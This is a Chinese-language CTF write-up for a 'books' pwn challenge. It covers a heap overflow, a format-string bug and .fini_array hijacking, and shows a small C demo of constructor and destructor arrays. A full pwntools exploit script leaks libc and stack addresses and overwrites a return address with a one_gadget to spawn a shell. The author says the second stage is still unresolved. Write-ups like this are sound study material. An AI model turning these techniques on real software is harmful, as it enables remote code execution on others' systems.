daliy pwn 1

badmonkey 2021年04月11日 45次浏览

daliy pwn 1

知识点

堆溢出,格式化字符串,.fini_array劫持

堆溢出

edit_order函数中,存在溢出

image-20210411104219387

利用溢出可以覆盖下一个chunk,进而伪造pre_size和size,然后free达到chunk_overlap,不过需要注意的是如果伪造的size不是fastbin大小,而是small bin 或者large bin 那么free的时候尝试后先或者前向合并,此时会访问下下个chunk,所以覆盖的时候至少向下伪造三个chunk,或者先free然后覆盖free chunk 的size.

格式化字符串

此外还存在一处格式化字符串漏洞

image-20210411105013275

image-20210411105029698

不过利用方式比较难,不能直接利用堆溢出直接覆盖dest,因为每次edit后都会重新写dest,所以覆盖也没有用。

image-20210411105211250

不过可以考虑submit部分

image-20210411105329795

每次submit都会将order1和order2的内容拼接起来放到一个0x140的chunk中,结合堆溢出漏洞,伪造0x140的chunk(order 2)然后free,submit时malloc的chunk将会是order2的chunk

struct.png

合理的控制order1中的内容长度和fmt payload 在strcat时可以将dest中的内容覆盖为fmt payload.

.fini_array 劫持

首先了解一下什么是.fini_array,在main函数执行后会执行.fini_array中的函数,.fini_array存放的是对应的函数指针(地址),存放main调用前执行的函数指针的数组称为.init_array。

一个简单的demo

//
// Created by badmonkey on 2021/4/11.
//

#include "stdio.h"
#include "stdlib.h"
__attribute__((constructor)) void init_function(){
    printf("function executed before main\n");
}
__attribute__((destructor)) void fini_function(){
    printf("function executed after main\n");
}
int main(){
    printf("init_function address = %p\n",init_function);
    printf("fini_function address = %p\n",fini_function);
    return 0;
}
// gcc fini_array.c -o fini_array -g -no-pie

查看init array和fini array 字段

image-20210411113000941

看一下数组中的元素,恰好是init_function 和fini_function的地址。

image-20210411112807459

所以可以通过劫持.fini_array的首元素,控制程序流重新返回main,达到重复利用的效果。

问题

首先利用堆溢出伪造一个0x150的chunk(order2),然后delete order2 ,submit时malloc得到该chunk此时会将chunk1和chunk2的内容覆盖到dest,在chunk1中构造fmtstr 泄漏libc地址和返回地址在栈中的位置,利用fmt覆写返回地址为main_address,不过比较奇怪的是,返回main后,再次malloc的堆并不是连续的,可能是因为第一次堆溢出的破坏了top chunk,所以重新mmap了一个堆??总之第二次调用main函数时的堆和第一次的堆不是连续的,对于第一次利用,可以采用先伪造order2 的大小然后free,或者先free后伪造大小,不过对于第二次的利用,只能先free后伪造order2大小,先伪造大小然后free会出现double free or corruption (out),google了一下发现是nextchunk越界了超过了top chunk的大小,但是尝试伪造了一下topchunk 仍然不可行。 等待解决。。

from pwn import *
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = "debug"
context.terminal = ['konsole', '-e']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./books"
book = ELF("./books")

libc = ELF('./libc-2.23.so')


p = process("./books")

def edit(order, name):
    p.recvuntil('5: Submit\n')
    p.sendline(str(order))
    p.recvuntil(' order:\n')
    p.sendline(name)


def delete(order):
    p.recvuntil('5: Submit\n')
    p.sendline(str(order+2))


def submit(payload):
    p.recvuntil('5: Submit\n')
    p.sendline('5' + payload)
    p.recvuntil('Order 1: ')
    p.recvuntil('Order 2: Order 1: ')

fini_array0 = 0x6011B8
main_addr = 0x400A39
# delete(2)
payload = b"%2617c%13$hn.%31$p~%28$p;".ljust(0x74,b'b').ljust(0x88,b"\x00")
payload += p64(0x151)+b"\x00"*0x140+p64(0x150)+p64(0x21)+b"\x00"*0x10+p64(0x20)+p64(0x21)+b"\x00"*0x10
edit(1,payload)
# gdb.attach(p)
delete(2)
p.recvuntil("5: Submit\n")
p.sendline(b"5".ljust(8,b"\x00")+p64(fini_array0))
p.recvuntil(".0x")
libc_start_address = int(p.recvuntil("~")[:-1],16)
p.recvuntil(b"0x")
stack_address = int(p.recvuntil(";")[:-1],16)
#
#
libc_base = libc_start_address - 240 - libc.symbols["__libc_start_main"]
print("leak libc = %s"%hex(libc_base))
one_shell = libc_base+0x45206
ret_address = stack_address+0x28-320

one_shell1 = int(hex(one_shell)[-2:],16)
one_shell2 = int(hex(one_shell)[-6:-2],16)
#
# gdb.attach(p)
delete(2)
#
payload2 = b"%"+str(one_shell1).encode()+b"c%13$hhn"+"%"+str(one_shell2-one_shell1).encode()+b"c%14$hn"
payload2 = payload2.ljust(0x90-28,b"b").ljust(0x88,b"\x00")
payload2 += p64(0x151)
# payload2 += p64(0x151)+b"\x00"*0x140+p64(0x150)+p64(0x21)+b"\x00"*0x10+p64(0x20)+p64(0x21)+b"\x00"*10+p64(0x20)+p64(0x202020)
edit(1,payload2)
# gdb.attach(p)
p.sendline(b"5".ljust(8,b"\x00")+p64(ret_address)+p64(ret_address+1))
# print payload2
p.interactive()

参考链接

https://nocbtm.github.io/2020/02/20/%C2%96-fini-array%E6%AE%B5%E5%8A%AB%E6%8C%81/#%E5%88%86%E6%9E%90%E4%B8%8E%E6%80%BB%E7%BB%93

https://bbs.pediy.com/thread-246783.htm